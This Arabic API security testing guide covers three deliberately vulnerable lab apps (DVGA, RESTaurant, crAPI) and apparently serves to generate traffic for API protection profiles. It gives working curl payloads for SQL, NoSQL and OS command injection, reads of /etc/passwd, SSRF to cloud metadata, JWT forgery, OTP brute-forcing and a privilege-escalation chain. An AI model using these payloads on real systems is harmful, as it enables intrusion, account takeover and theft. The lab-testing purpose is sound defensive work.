تخطَّ إلى المحتوى

دليل اختبار API

يُوثِّق هذا الدليل كل نقاط نهاية API والثغرات الأمنية المقصودة وحمولات الهجوم عبر تطبيقات اختبار أمان API الثلاثة. استخدمه لبناء أنماط توليد حركة المرور لتطوير ملفات تعريف حماية API في F5 XC.

التطبيقالبروتوكولالمسارالمنفذالمصادقةالثغرات الأمنية
DVGAGraphQL/dvga/80لا يوجد (admin: admin/password)25 سيناريو
RESTaurantREST (FastAPI)/restaurant/80JWT (form-encoded)7 فئات OWASP API 2023
crAPIREST (microservices)/8888JWT (Bearer)أكثر من 18 تحدياً
Terminal window
ORIGIN="http://<ORIGIN_IP>"
CRAPI="http://<ORIGIN_IP>:8888"

DVGA (تطبيق GraphQL القابل للاختراق عمداً)

Section titled “DVGA (تطبيق GraphQL القابل للاختراق عمداً)”

نقطة نهاية GraphQL: POST ${ORIGIN}/dvga/graphql GraphiQL IDE: GET ${ORIGIN}/dvga/ بيانات اعتماد المسؤول: admin / password

تستخدم جميع تفاعلات DVGA نقطة نهاية واحدة (/dvga/graphql) مع طلبات POST تحتوي على حمولات JSON بصيغة {"query":"..."}.

Queries: pastes, paste, me, systemHealth, systemUpdate, systemDiagnostics
Mutations: createPaste, importPaste, uploadPaste
Types: PasteObject (id, title, content, public, owner, ipAddr, userAgent)
OwnerObject (id, username, pastes) ← circular reference
العمليةالنوعالمصادقةالغرض
pastes(public, filter, limit)Queryلاإدراج اللصقات (حقن SQL عبر filter)
paste(id)Queryلاالحصول على لصقة واحدة
me(token)Queryلاالحصول على مستخدم بواسطة JWT (قابل للتزوير)
systemHealthQueryلافحص الحالة
systemUpdateQueryلااستعلام بطيء (~82 ثانية، ناقل DoS)
systemDiagnostics(cmd)Queryadmin/passwordتنفيذ أوامر نظام التشغيل المسموح بها
createPaste(title, content, public)Mutationلاإنشاء لصقة (XSS عبر content)
importPaste(host, port, path, scheme)Mutationلااستيراد لصقة بعيدة (SSRF، حقن أوامر)
uploadPaste(filename, content)Mutationلارفع لصقة (اجتياز المسار)

كتالوج الثغرات الأمنية

Section titled “كتالوج الثغرات الأمنية”

1. رفض الخدمة (6 سيناريوهات)

Section titled “1. رفض الخدمة (6 سيناريوهات)”

هجوم استعلام الدُفعات:

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '[{"query":"{systemUpdate}"},{"query":"{systemUpdate}"},{"query":"{systemUpdate}"}]'

التعشيق العميق (مراجع دائرية بين Owner/Paste):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes{owner{pastes{owner{pastes{owner{pastes{owner{pastes{title}}}}}}}}}}"}'

استعلام مكثف الموارد (استجابة ~82 ثانية):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{systemUpdate}"}'

تكرار الحقول (تكرار الحقل أكثر من 500 مرة):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes{title title title title title title title title title title title title title title title title title title title title}}"}'

هجوم قائم على الأسماء المستعارة (1000 عملية بأسماء مستعارة):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{q0:systemUpdate q1:systemUpdate q2:systemUpdate q3:systemUpdate q4:systemUpdate q5:systemUpdate q6:systemUpdate q7:systemUpdate q8:systemUpdate q9:systemUpdate}"}'

2. الكشف عن المعلومات (5 سيناريوهات)

Section titled “2. الكشف عن المعلومات (5 سيناريوهات)”

الاستبطان (تعداد المخطط الكامل):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{types{name fields{name args{name type{name}}}}}}"}'

اقتراحات الحقول (الخطأ الإملائي يكشف الحقول الصالحة):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes{titl}}"}'

SSRF عبر importPaste (استطلاع الخدمات الداخلية):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{importPaste(host:\"localhost\",port:57575,path:\"/\",scheme:\"http\"){result}}"}'

حقن SQL عبر معامل filter:

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes(filter:\"aaa\\u0027 OR 1=1--\"){id title content public}}"}'

XSS المخزَّن عبر createPaste:

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{createPaste(title:\"<img src=x onerror=alert(1)>\",content:\"xss\",public:true){paste{id title}}}"}'

حقن السجلات (انتحال اسم العملية):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation getPaste{createPaste(title:\"injected\",content:\"hidden mutation\",public:true){paste{id}}}"}'

4. تنفيذ الأوامر (3 سيناريوهات)

Section titled “4. تنفيذ الأوامر (3 سيناريوهات)”

حقن أوامر نظام التشغيل عبر importPaste:

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{importPaste(host:\"localhost\",port:80,path:\"/ ; uname -a\",scheme:\"http\"){result}}"}'

أوامر نظام التشغيل عبر systemDiagnostics (يستلزم مصادقة المسؤول):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{systemDiagnostics(cmd:\"id\")}"}'

5. تجاوز التفويض (3 سيناريوهات)

Section titled “5. تجاوز التفويض (3 سيناريوهات)”

تزوير رمز JWT (يقبل الرموز غير الموقَّعة):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{me(token:\"eyJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.\"){username}}"}'

كتابة ملف عشوائي عبر uploadPaste (اجتياز المسار):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{uploadPaste(filename:\"../../../tmp/test.txt\",content:\"path traversal test\"){result}}"}'

RESTaurant API (المطعم القابل للاختراق عمداً)

Section titled “RESTaurant API (المطعم القابل للاختراق عمداً)”

واجهة Swagger: ${ORIGIN}/restaurant/docs مواصفات OpenAPI: ${ORIGIN}/restaurant/openapi.json المصادقة: JWT عبر POST مُرمَّز بصيغة form إلى /restaurant/token الأدوار: Customer (الافتراضي)، Employee، Chef (المسؤول)

الإعداد: التسجيل والمصادقة

Section titled “الإعداد: التسجيل والمصادقة”
Terminal window
# تسجيل مستخدم تجريبي
curl -X POST ${ORIGIN}/restaurant/register \
-H "Content-Type: application/json" \
-d '{"username":"attacker","password":"Attack123","first_name":"Test","last_name":"User","phone_number":"5551234567"}'
# الحصول على رمز JWT (ملاحظة: form-encoded، وليس JSON)
TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=attacker&password=Attack123" | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
echo "Bearer token: ${TOKEN}"
نقطة النهايةالطريقةالمصادقةالدورالثغرة الأمنية
/restaurant/registerPOSTلاإنشاء المستخدم
/restaurant/tokenPOSTلاJWT بسر ضعيف (97952)
/restaurant/healthcheckGETلافحص الحالة
/restaurant/profileGETنعمأيملف تعريف المستخدم
/restaurant/profilePUTنعمأيBOLA (تعديل مستخدمين آخرين)
/restaurant/profilePATCHنعمأيBOPLA (تعيين جماعي للدور)
/restaurant/users/update_rolePUTنعمأيBFLA (رفع مستوى الدور)
/restaurant/menuGETنعمأيعرض عناصر القائمة
/restaurant/menuPUTنعمEmployee+إنشاء قائمة (SSRF عبر الصورة)
/restaurant/menu/{item_id}PUTنعمEmployee+تحديث القائمة (SSRF عبر الصورة)
/restaurant/menu/{item_id}DELETEنعمأيBFLA (يمكن لأي مستخدم الحذف)
/restaurant/ordersGETنعمأيBOLA (عرض جميع الطلبات)
/restaurant/ordersPOSTنعمأيإنشاء طلب
/restaurant/orders/{order_id}GETنعمأيBOLA (الوصول إلى طلبات الآخرين)
/restaurant/orders/status/{order_id}GETنعمأيحالة الطلب
/restaurant/admin/stats/diskGETنعمChefحقن الأوامر
/restaurant/reset-passwordPOSTلاطلب إعادة تعيين كلمة المرور
/restaurant/reset-password/new-passwordPOSTلاتعيين كلمة مرور جديدة
/restaurant/referral-codeGETنعمأيالحصول على رمز الإحالة
/restaurant/apply-referralPOSTنعمأيتطبيق الإحالة
/restaurant/discount-couponsGETنعمأيعرض القسائم

كتالوج الثغرات الأمنية

Section titled “كتالوج الثغرات الأمنية”

API1:2023 — تجاوز التفويض على مستوى الكائن (BOLA)

Section titled “API1:2023 — تجاوز التفويض على مستوى الكائن (BOLA)”

تعديل ملف تعريف مستخدم آخر:

Terminal window
curl -X PUT ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"username":"chef","phone_number":"hacked","first_name":"Pwned","last_name":"User"}'

الوصول إلى طلبات المستخدمين الآخرين (تعداد الإزاحة):

Terminal window
for i in 1 2 3 4 5; do
curl -sf ${ORIGIN}/restaurant/orders/${i} \
-H "Authorization: Bearer ${TOKEN}" 2>&1
echo ""
done

API2:2023 — المصادقة المعطوبة

Section titled “API2:2023 — المصادقة المعطوبة”

قوة غاشمة على السر الضعيف لـ JWT (السر مكوَّن من 6 أرقام: 97952):

Terminal window
# فك تشفير الرموز وتزويرها على jwt.io
# السر: 97952 (قابل للكسر بالقوة الغاشمة بـ hashcat -a 3 -m 16500 token '?d?d?d?d?d?d')
# تزوير رمز Chef:
# Header: {"alg":"HS256","typ":"JWT"}
# Payload: {"sub":"chef","exp":9999999999}
# Sign with secret: 97952

API3:2023 — تجاوز التفويض على مستوى خصائص الكائن (BOPLA)

Section titled “API3:2023 — تجاوز التفويض على مستوى خصائص الكائن (BOPLA)”

تعيين جماعي للدور من Customer إلى Chef:

Terminal window
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Chef"}'

مسار الرفع: Customer → Employee → Chef:

Terminal window
# الخطوة 1: الرفع إلى Employee
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Employee"}'
# الخطوة 2: الرفع إلى Chef
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Chef"}'

API5:2023 — تجاوز التفويض على مستوى الوظائف (BFLA)

Section titled “API5:2023 — تجاوز التفويض على مستوى الوظائف (BFLA)”

حذف عنصر من القائمة كـ Customer (يجب أن يستلزم Employee+):

Terminal window
curl -X DELETE ${ORIGIN}/restaurant/menu/1 \
-H "Authorization: Bearer ${TOKEN}"

تغيير دور مستخدم آخر:

Terminal window
curl -X PUT ${ORIGIN}/restaurant/users/update_role \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"username":"chef","role":"Customer"}'

API7:2023 — تزوير الطلبات من جهة الخادم (SSRF)

Section titled “API7:2023 — تزوير الطلبات من جهة الخادم (SSRF)”

استطلاع نقاط النهاية الداخلية عبر image_url للقائمة (يستلزم دور Employee):

Terminal window
# أولاً، ارفع مستوى الدور إلى Employee عبر BOPLA، ثم:
curl -X PUT ${ORIGIN}/restaurant/menu \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"name":"SSRF Test","price":1.00,"category":"Test","image_url":"http://127.0.0.1:8091/admin/reset-chef-password"}'

حقن أوامر نظام التشغيل عبر إحصائيات القرص (يستلزم دور Chef):

Terminal window
# بعد الرفع إلى Chef:
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;whoami" \
-H "Authorization: Bearer ${TOKEN}"
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;cat%20/etc/passwd" \
-H "Authorization: Bearer ${TOKEN}"

سلسلة الهجوم الكاملة: من Customer إلى Root

Section titled “سلسلة الهجوم الكاملة: من Customer إلى Root”
Terminal window
# 1. التسجيل
curl -X POST ${ORIGIN}/restaurant/register \
-H "Content-Type: application/json" \
-d '{"username":"hacker","password":"Hack123","first_name":"H","last_name":"X","phone_number":"0"}'
# 2. الحصول على الرمز
TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \
-d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 3. الرفع إلى Chef (BOPLA)
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Chef"}'
# 4. إعادة المصادقة للحصول على رمز بمستوى Chef
TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \
-d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 5. حقن الأوامر (RCE)
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;id" \
-H "Authorization: Bearer ${TOKEN}"

crAPI (تطبيق OWASP للـ API السخيف تماماً)

Section titled “crAPI (تطبيق OWASP للـ API السخيف تماماً)”

واجهة الويب: ${CRAPI}/ MailHog: ${CRAPI}/mailhog/ (التقاط البريد الإلكتروني للتحقق) المصادقة: رمز JWT Bearer (RS256، قابل للاستغلال عبر خلط الخوارزميات) البنية: 7 خدمات مصغرة (identity، community، workshop، postgres، mongo، mailhog، web)

الإعداد: التسجيل، والتحقق من البريد الإلكتروني، وتسجيل الدخول

Section titled “الإعداد: التسجيل، والتحقق من البريد الإلكتروني، وتسجيل الدخول”
Terminal window
# 1. التسجيل
curl -X POST ${CRAPI}/identity/api/auth/signup \
-H "Content-Type: application/json" \
-d '{"name":"Test User","email":"tester@example.com","number":"5551234567","password":"TestPass123"}'
# 2. التحقق من MailHog للبريد الإلكتروني للتحقق
# تصفح ${CRAPI}/mailhog/ أو استخدم MailHog API:
curl -sf ${CRAPI}/mailhog/api/v2/messages | python3 -c "
import sys,json
msgs = json.load(sys.stdin)['items']
for m in msgs:
print(f\"To: {m['Raw']['To'][0]}, Subject: {m['Content']['Headers']['Subject'][0]}\")
"
# 3. تسجيل الدخول والحصول على رمز JWT
TOKEN=$(curl -sf -X POST ${CRAPI}/identity/api/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"tester@example.com","password":"TestPass123"}' | python3 -c "import sys,json;print(json.load(sys.stdin)['token'])")
echo "Bearer token: ${TOKEN}"
نقطة النهايةالطريقةالمصادقةالثغرة الأمنية
/identity/api/auth/signupPOSTلاالتسجيل
/identity/api/auth/loginPOSTلارمز JWT (خلط الخوارزميات)
/identity/api/auth/forget-passwordPOSTلاطلب OTP
/identity/api/auth/v2/check-otpPOSTلالا يوجد حد معدل (قوة غاشمة على OTP رباعي الأرقام)
/identity/api/auth/v3/check-otpPOSTلاإصدار محدود المعدل
/identity/api/v2/user/dashboardGETنعمملف تعريف المستخدم
/identity/api/v2/user/change-emailPUTنعمتغيير البريد الإلكتروني
/identity/api/v2/vehicle/vehiclesGETنعمعرض المركبات (يسرب UUIDs)
/identity/api/v2/vehicle/{uuid}/locationGETنعمBOLA (مركبة أي مستخدم)
/identity/api/v2/user/videosPOSTنعمرفع الفيديو
/identity/api/v2/user/videos/{id}GETنعمكشف البيانات (conversion_params)
/identity/api/v2/user/videos/{id}PUTنعمالتعيين الجماعي (حقن الأوامر)
/identity/api/v2/admin/videos/{id}DELETEنعمBFLA (لا يوجد تحقق من المسؤول)
نقطة النهايةالطريقةالمصادقةالثغرة الأمنية
/community/api/v2/community/postsGETنعمكشف البيانات (يسرب vehicle_id والبريد الإلكتروني)
/community/api/v2/community/postsPOSTنعمإنشاء منشور مدونة
/community/api/v2/community/posts/{id}/commentsPOSTنعمإضافة تعليق
/community/api/v2/coupon/validate-couponPOSTنعمحقن NoSQL
نقطة النهايةالطريقةالمصادقةالثغرة الأمنية
/workshop/api/mechanicGETنعمكشف البيانات (بريد إلكتروني الميكانيكي)
/workshop/api/mechanic/mechanic_reportGETلاBOLA (لا مصادقة، معرّفات تسلسلية)
/workshop/api/merchant/contact_mechanicPOSTنعمSSRF + DoS
/workshop/api/shop/productsGETنعمكتالوج المنتجات
/workshop/api/shop/orders/POSTنعمإنشاء طلب
/workshop/api/shop/orders/allGETنعمعرض الطلبات
/workshop/api/shop/orders/{id}GETلاBOLA (لا مصادقة مطلوبة)
/workshop/api/shop/orders/{id}PUTنعمالتعيين الجماعي (الحالة، الكمية)
/workshop/api/shop/apply_couponPOSTنعمحقن SQL

التحدي 1 — BOLA: الوصول إلى موقع مركبة مستخدم آخر

Section titled “التحدي 1 — BOLA: الوصول إلى موقع مركبة مستخدم آخر”
Terminal window
# احصل أولاً على UUID مركبتك
curl -sf ${CRAPI}/identity/api/v2/vehicle/vehicles \
-H "Authorization: Bearer ${TOKEN}"
# الوصول إلى مركبة مستخدم آخر (استبدل UUID)
curl -sf ${CRAPI}/identity/api/v2/vehicle/VICTIM-UUID-HERE/location \
-H "Authorization: Bearer ${TOKEN}"

التحدي 2 — BOLA: الوصول إلى تقارير الميكانيكي (بدون مصادقة)

Section titled “التحدي 2 — BOLA: الوصول إلى تقارير الميكانيكي (بدون مصادقة)”
Terminal window
# تعداد المعرّفات التسلسلية — لا يلزم رمز
for i in 1 2 3 4 5; do
echo "Report $i:"
curl -sf "${CRAPI}/workshop/api/mechanic/mechanic_report?report_id=${i}"
echo ""
done

التحدي 3 — المصادقة المعطوبة: قوة غاشمة على OTP إعادة تعيين كلمة المرور

Section titled “التحدي 3 — المصادقة المعطوبة: قوة غاشمة على OTP إعادة تعيين كلمة المرور”
Terminal window
# طلب OTP للضحية
curl -X POST ${CRAPI}/identity/api/auth/forget-password \
-H "Content-Type: application/json" \
-d '{"email":"victim@example.com"}'
# قوة غاشمة على OTP رباعي الأرقام (v2 لا يحتوي على حد معدل)
for otp in $(seq -w 0000 9999); do
RESULT=$(curl -sf -X POST ${CRAPI}/identity/api/auth/v2/check-otp \
-H "Content-Type: application/json" \
-d "{\"email\":\"victim@example.com\",\"otp\":\"${otp}\"}" 2>&1)
echo "$otp: $RESULT" | grep -v "Invalid OTP" && break
done

التحدي 4 — كشف البيانات: تسريب بريد إلكتروني الميكانيكي

Section titled “التحدي 4 — كشف البيانات: تسريب بريد إلكتروني الميكانيكي”
Terminal window
curl -sf ${CRAPI}/workshop/api/mechanic \
-H "Authorization: Bearer ${TOKEN}" | python3 -m json.tool

التحدي 5 — كشف البيانات: معامِلات تحويل الفيديو الداخلية

Section titled “التحدي 5 — كشف البيانات: معامِلات تحويل الفيديو الداخلية”
Terminal window
# ارفع فيديو، ثم افحص الاستجابة
curl -sf ${CRAPI}/identity/api/v2/user/videos \
-H "Authorization: Bearer ${TOKEN}" | python3 -m json.tool
# ابحث عن حقل conversion_params في الاستجابة

التحدي 6 — DoS: الطبقة 7 عبر الاتصال بالميكانيكي

Section titled “التحدي 6 — DoS: الطبقة 7 عبر الاتصال بالميكانيكي”
Terminal window
curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"mechanic_code":"MECH001",
"problem_details":"Engine issue",
"vin":"VEHICLE_VIN",
"mechanic_api":"http://localhost:8080/api",
"repeat_request_if_failed":true,
"number_of_repeats":100
}'

التحدي 7 — BFLA: حذف فيديو عبر نقطة نهاية المسؤول

Section titled “التحدي 7 — BFLA: حذف فيديو عبر نقطة نهاية المسؤول”
Terminal window
# يمكن للمستخدم العادي الوصول إلى نقطة نهاية المسؤول
curl -X DELETE ${CRAPI}/identity/api/v2/admin/videos/VIDEO_ID_HERE \
-H "Authorization: Bearer ${TOKEN}"

التحديان 8 و9 — التعيين الجماعي: الحصول على عناصر مجاناً عبر التلاعب بالطلبات

Section titled “التحديان 8 و9 — التعيين الجماعي: الحصول على عناصر مجاناً عبر التلاعب بالطلبات”
Terminal window
# غيّر GET إلى PUT، وعدّل الحالة والكمية
curl -X PUT ${CRAPI}/workshop/api/shop/orders/1 \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"status":"returned","quantity":100}'

التحدي 10 — حقن الأوامر عبر معامِلات تحويل الفيديو

Section titled “التحدي 10 — حقن الأوامر عبر معامِلات تحويل الفيديو”
Terminal window
curl -X PUT ${CRAPI}/identity/api/v2/user/videos/VIDEO_ID \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"conversion_params":"-v codec h264; cat /etc/passwd"}'

التحدي 11 — SSRF عبر الاتصال بالميكانيكي

Section titled “التحدي 11 — SSRF عبر الاتصال بالميكانيكي”
Terminal window
curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"mechanic_code":"MECH001",
"problem_details":"test",
"vin":"VIN123",
"mechanic_api":"http://169.254.169.254/latest/meta-data/",
"repeat_request_if_failed":false,
"number_of_repeats":0
}'

التحدي 12 — حقن NoSQL: استخراج رموز القسائم

Section titled “التحدي 12 — حقن NoSQL: استخراج رموز القسائم”
Terminal window
curl -X POST ${CRAPI}/community/api/v2/coupon/validate-coupon \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"coupon_code":{"$ne":1}}'

التحدي 13 — حقن SQL: استرداد القسائم أكثر من مرة

Section titled “التحدي 13 — حقن SQL: استرداد القسائم أكثر من مرة”
Terminal window
curl -X POST ${CRAPI}/workshop/api/shop/apply_coupon \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d "{\"coupon_code\":\"TRAC075' OR '1'='1\"}"

التحدي 14 — الوصول إلى الطلبات بدون مصادقة

Section titled “التحدي 14 — الوصول إلى الطلبات بدون مصادقة”
Terminal window
# لا يوجد ترويسة Authorization — لا تزال تُعيد البيانات
for i in 1 2 3 4 5; do
curl -sf ${CRAPI}/workshop/api/shop/orders/${i}
echo ""
done

التحدي 15 — خلط خوارزمية JWT

Section titled “التحدي 15 — خلط خوارزمية JWT”
Terminal window
# تزوير JWT بخوارزمية "none" (لا يوجد تحقق من التوقيع):
# 1. عيّن الترويسة: {"alg":"none","typ":"JWT"} وشفِّرها بـ base64url
# 2. عيّن الحمولة: {"email":"admin@example.com","role":"admin"} وشفِّرها بـ base64url
# 3. ادمجهما بنقاط، واترك التوقيع فارغاً: <header>.<payload>.
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
PAYLOAD=$(echo -n '{"email":"admin@example.com","role":"admin"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
FORGED="${HEADER}.${PAYLOAD}."
curl -sf ${CRAPI}/identity/api/v2/user/dashboard \
-H "Authorization: Bearer ${FORGED}"

المرجع الإسناد لأعلى 10 ثغرات في أمان API حسب OWASP

Section titled “المرجع الإسناد لأعلى 10 ثغرات في أمان API حسب OWASP”
فئة OWASPDVGARESTaurantcrAPI
API1: BOLAPUT /profile، GET /orders/{id}موقع المركبة، تقارير الميكانيكي، الطلبات
API2: المصادقة المعطوبةتزوير JWT (استعلام me)السر الضعيف لـ JWT (97952)قوة غاشمة على OTP (v2)، خلط خوارزمية JWT
API3: BOPLAPATCH /profile (رفع مستوى الدور)conversion_params للفيديو، كشف بريد الميكانيكي الإلكتروني
API4: استهلاك المواردDoS الدُفعات والتعشيق والأسماء المستعارة وتكرار الحقولتعداد المستخدمين عبر طول الاستجابةDoS عبر repeat_request في contact_mechanic
API5: BFLADELETE /menu، PUT /users/update_roleDELETE /admin/videos كمستخدم عادي
API6: التعيين الجماعيPUT /orders (الحالة، الكمية)حالة/كمية الطلب، conversion_params للفيديو
API7: SSRFطفرة importPastePUT /menu image_urlcontact_mechanic mechanic_api URL
API8: الحقنSQL (filter)، XSS (content)، أوامر نظام التشغيل (importPaste، systemDiagnostics)أوامر نظام التشغيل (/admin/stats/disk?parameters=)NoSQL (validate-coupon)، SQL (apply_coupon)
API9: الأصول غير الملائمة/auth/v2/check-otp المهجور (لا يوجد حد معدل)
API10: الاستهلاك غير الآمن(غير مباشر عبر SSRF)
خاص بـ GraphQLالاستبطان، والدُفعات، والتعشيق، والأسماء المستعارة، وتكرار الحقول، والأجزاء الدائرية

أنماط توليد حركة المرور

Section titled “أنماط توليد حركة المرور”

المرحلة 1: خط الأساس (المسار السعيد)

Section titled “المرحلة 1: خط الأساس (المسار السعيد)”

توليد حركة مرور مشروعة لتحديد سلوك API الطبيعي قبل اختبار أنماط الهجوم.

خط أساس DVGA:

Terminal window
# استعلامات عادية
curl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"{pastes{id title}}"}'
curl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"mutation{createPaste(title:\"note\",content:\"hello\",public:true){paste{id}}}"}'

خط أساس RESTaurant:

Terminal window
curl -sf ${ORIGIN}/restaurant/menu -H "Authorization: Bearer ${TOKEN}"
curl -sf ${ORIGIN}/restaurant/profile -H "Authorization: Bearer ${TOKEN}"
curl -X POST ${ORIGIN}/restaurant/orders -H "Authorization: Bearer ${TOKEN}" -H "Content-Type: application/json" -d '{"menu_item_id":1,"quantity":1}'

خط أساس crAPI:

Terminal window
curl -sf ${CRAPI}/identity/api/v2/user/dashboard -H "Authorization: Bearer ${TOKEN}"
curl -sf ${CRAPI}/workshop/api/shop/products -H "Authorization: Bearer ${TOKEN}"
curl -sf ${CRAPI}/community/api/v2/community/posts -H "Authorization: Bearer ${TOKEN}"

المرحلة 2: حركة مرور الهجوم حسب فئة OWASP

Section titled “المرحلة 2: حركة مرور الهجوم حسب فئة OWASP”

اختبار BOLA: تعداد المعرّفات التسلسلية، واستبدال معرّفات المستخدمين في الطلبات، والوصول إلى الموارد دون ملكية.

اختبار الحقن: حمولات SQL في معامِلات filter/coupon، وحقن استعلامات GraphQL، وحقن أوامر نظام التشغيل عبر حقول المعامِلات.

اختبار تجاوز المصادقة: تزوير رموز JWT، والقوة الغاشمة على OTPs، واستخدام إصدارات API المهجورة، وخلط الخوارزميات.

اختبار SSRF: عناوين URL داخلية في معامِلات importPaste وimage_url وmechanic_api.

اختبار DoS: هجمات GraphQL بالدُفعات والتعشيق والأسماء المستعارة، وrepeat_request_if_failed بأعداد مرتفعة.

المرحلة 3: سلاسل الهجوم ذات الحالة

Section titled “المرحلة 3: سلاسل الهجوم ذات الحالة”

تستلزم بعض الهجمات تسلسلات متعددة الخطوات ذات حالة:

  1. سلسلة رفع RESTaurant: التسجيل → الرمز → PATCH للدور إلى Chef → إعادة المصادقة → حقن الأوامر
  2. تدفق crAPI الكامل: التسجيل → التحقق من البريد الإلكتروني (MailHog) → تسجيل الدخول → إضافة مركبة → الاتصال بالميكانيكي (SSRF) → التلاعب بالطلبات
  3. استطلاع DVGA إلى استغلال: الاستبطان → اكتشاف systemDiagnostics → القوة الغاشمة على بيانات اعتماد المسؤول → تنفيذ أوامر نظام التشغيل
النمطالطلبات/ثانيةالمدةملاحظات
خط الأساس (لكل تطبيق)10-505 دقائقتحديد بصمة حركة المرور الطبيعية
تعداد BOLA100-500دقيقتانمسح المعرّف التسلسلي
قوة غاشمة على OTPأكثر من 1000حتى الإيجاد10,000 محاولة كحد أقصى (4 أرقام)
DoS بـ GraphQL10-5030 ثانيةكل طلب مُكلِف من جهة الخادم
اختبار الحقن بالفوضى50-2005 دقائقتنويع الحمولات لكل طلب
استطلاع SSRF5-20دقيقتانبطيء؛ كل منه يُطلق طلب HTTP من جهة الخادم